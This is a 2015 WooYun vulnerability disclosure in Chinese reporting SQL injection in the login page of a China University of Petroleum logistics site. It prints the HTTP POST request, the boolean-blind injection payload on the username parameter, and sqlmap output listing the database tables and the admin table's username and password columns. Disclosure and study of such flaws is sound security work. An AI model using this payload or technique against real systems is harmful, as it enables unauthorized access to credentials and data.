当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155228

漏洞标题:中国石油大学某站SQL注入

相关厂商:中国石油大学

漏洞作者: 路人甲

提交时间:2015-11-23 15:10

修复时间:2015-11-30 11:46

公开时间:2015-11-30 11:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-11-30: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

rt

详细说明:

http://hqbzc.upc.edu.cn/  
中国石油大学(华东)东营校区后勤保障处


POST /room/login.asp?action=pass HTTP/1.1
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://hqbzc.upc.edu.cn
Cookie: ASPSESSIONIDAQCQCCQB=LBGLMJLBJJNMPMNABNLNIAHN
Host: hqbzc.upc.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
password=g00dPa%24%24w0rD&username=-1


username参数存在注入

qlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)
Payload: password=g00dPa$$w0rD&username=-6927' OR 1015=1015%16
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[6 tables]
+------------+
| admin |
| adv |
| article |
| content |
| guestbook |
| indexation |
+------------+


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)
Payload: password=g00dPa$$w0rD&username=-6927' OR 1015=1015%16
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
Table: admin
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| classid | numeric |
| id | numeric |
| password | non-numeric |
| type | numeric |
| username | non-numeric |
+----------+-------------+


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-11-23 15:13

厂商回复:

感谢您对学校的网络安全的关注,我们会尽快解决该问题。

最新状态:

2015-11-30:系统已经停止服务,谢谢!